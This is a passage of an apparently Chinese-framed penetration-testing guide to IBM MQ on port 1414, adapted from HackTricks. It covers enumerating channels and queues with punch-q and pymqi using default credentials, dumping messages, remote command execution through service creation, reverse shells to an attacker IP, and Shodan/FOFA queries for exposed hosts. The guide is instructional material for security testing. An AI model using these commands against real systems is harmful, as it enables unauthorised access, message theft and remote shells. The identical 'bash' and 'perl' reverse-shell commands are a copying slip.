---
title: "1414 - Ibm Mq"
weight: 1414
date: "2026-03-10T10:03:28+08:00"
lastmod: "2026-03-10T13:26:55+08:00"
---

💡 **学习提示**: 本文档介绍 **1414 - IBM MQ** 的渗透测试方法，适合信息安全初学者和从业人员参考。

⚠️ **法律声明**: 本文档仅供学习和授权测试使用。未经授权的系统测试可能违反法律法规。

---

>
> ```bash
> if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
> then
>   echo "ERROR: This package is incompatible with this system"
>   echo "       This package was built for ${BUILD_PLATFORM}"
>   exit 1
> fi
> ```

5. Install these packages:

```bash
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```

6. Then, temporary add the `.so` files to LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **before** running other tools using these dependencies.

Then, you can clone the project [**pymqi**](https://github.com/dsuch/pymqi): it contains interesting code snippets, constants, ... Or you can directly install the library with: `pip install pymqi`.

#### Using punch-q

#### With Docker

Simply use: `sudo docker run --rm -ti leonjza/punch-q`.

#### Without Docker

Clone the project [**punch-q**](https://github.com/sensepost/punch-q) then follow the readme for installation (`pip install -r requirements.txt && python3 setup.py install`).

After, it can be used with `punch-q` command.

### 信息收集

You can try to enumerate the **queue manager name, the users, the channels and the queues** with **punch-q** or **pymqi**.

#### Queue Manager

Sometimes, there is no protection against getting the Queue Manager name:

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
```

#### Channels

**punch-q** is using an internal (modifiable) wordlist to find existing channels. 用法 example:

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
```

It happens that some IBM MQ instances accept **unauthenticated** MQ requests, so `--username / --password` is not needed. Of course, access rights can also vary.

As soon as we get one channel name (here: `DEV.ADMIN.SVRCONN`), we can enumerate all other channels.

The enumeration can basically be done with this code snippet `code/examples/dis_channels.py` from **pymqi**:

```python
import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
    if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
        logging.info('No channels matched prefix `%s`' % prefix)
    else:
        raise
else:
    for channel_info in response:
        channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
        logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

```

... But **punch-q** also embed that part (with more infos!).
It can be launch with:

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |
```

#### Queues

There is a code snippet with **pymqi** (`dis_queues.py`) but **punch-q** permits to retrieve more pieces of info about the queues:

```bash
 ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
## Truncated
```

### 利用

#### Dump messages

You can target queue(s)/channel(s) to sniff out / dump messages from them (non-destructive operation). _Examples:_

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
```

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```

**Do not hesitate to iterate on all identified queues.**

#### Code execution

> Some details before continuing: IBM MQ can be controlled though multiple ways: MQSC, PCF, Control Command. Some general lists can be found in [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).  
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (**_Programmable Command Formats_**) is what we are focused on to interact remotely with the instance. **punch-q** and furthermore **pymqi** are based on PCF interactions.
>
> You can find a list of PCF commands:
>
> - [From PCF documentation](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), and
> - [from constants](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
>
> One interesting command is `MQCMD_CREATE_SERVICE` and its documentation is available [here](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). It takes as argument a `StartCommand` pointing to a local program on the instance (example: `/bin/sh`).
>
> There is also a warning of the command in the docs: _"Attention: This command allows a user to run an arbitrary command with mqm authority. If granted rights to use this command, a malicious or careless user could define a service which damages your systems or data, for example, by deleting essential files."_
>
> _Note: always according to IBM MQ documentation (Administration Reference), there is also an HTTP endpoint at `/admin/action/qmgr/{qmgrName}/mqsc` to run the equivalent MQSC command for service creation (`DEFINE SERVICE`). This aspect is not covered yet here._

The service creation / deletion with PCF for remote program execution can be done by **punch-q**:

**示例 1**

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
```

> In the logs of IBM MQ, you can read the command is successfully executed:
>
> ```bash
> 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
> ```

You can also enumerate existing programs on the machine (here `/bin/doesnotexist` ... does not exist):

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
```

**Be aware that the program launch is asynchronous. So you need a second item to leverage the exploit** **_(listener for reverse shell, file creation on different service, data exfiltration through network ...)_**

**示例 2**

For easy reverse shell, **punch-q** proposes also two reverse shell payloads :

- One with bash
- One with perl

_Of course you can build a custom one with the `execute` command._

For bash:

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```

For perl:

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```

#### Custom PCF

You can dig into the IBM MQ documentation and directly use **pymqi** python library to test specific PCF command not implemented in **punch-q**.

**示例:**

```python
import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    # Replace here with your custom PCF args and command
    # The constants can be found in pymqi/code/pymqi/CMQCFC.py
    args = {pymqi.CMQCFC.xxxxx: "value"}
    response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
    print("Error")
else:
    # Process response

qmgr.disconnect()

```

If you cannot find the constant names, you can refer to the [IBM MQ documentation](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).

> _Example for [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Decimal = 73). It needs the parameter `MQCA_CLUSTER_NAME` (Decimal = 2029) which can be `_` (Doc: ):\*
>
> ```python
> import pymqi
>
> queue_manager = 'MYQUEUEMGR'
> channel = 'DEV.ADMIN.SVRCONN'
> host = '172.17.0.2'
> port = '1414'
> conn_info = '%s(%s)' % (host, port)
> user = 'admin'
> password = 'passw0rd'
>
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
> pcf = pymqi.PCFExecute(qmgr)
>
> try:
>    args = {2029: "*"}
>    response = pcf.MQCMD_REFRESH_CLUSTER(args)
> except pymqi.MQMIError as e:
>    print("Error")
> else:
>    print(response)
>
> qmgr.disconnect()
> ```

### Testing environment

If you want to test the IBM MQ behavior and exploits, you can set up a local environment based on Docker:

1. Having an account on ibm.com and cloud.ibm.com.
2. Create a containerized IBM MQ with:

```bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
```

By default, the authentication is enabled, the username is `admin` and the password is `passw0rd` (Environment variable `MQ_ADMIN_PASSWORD`).
Here, the queue manager name has been set to `MYQUEUEMGR` (variable `MQ_QMGR_NAME`).

You should have the IBM MQ up and running with its ports exposed:

```bash
❯ sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq
```

> The old version of IBM MQ docker images are at: https://hub.docker.com/r/ibmcom/mq/.

---


### 搜索引擎语法

#### FOFA

```bash
# FOFA 搜索语法
port="1414"
```

#### Shodan

```bash
# Shodan 搜索语法
port:1414
```

#### ZoomEye

```bash
# ZoomEye 搜索语法
port:1414
```

---

## 📖 参考资料

- [HackTricks - 1414-ibm-mq](https://book.hacktricks.wiki/en/network-services-pentesting/1414-ibm-mq.html)

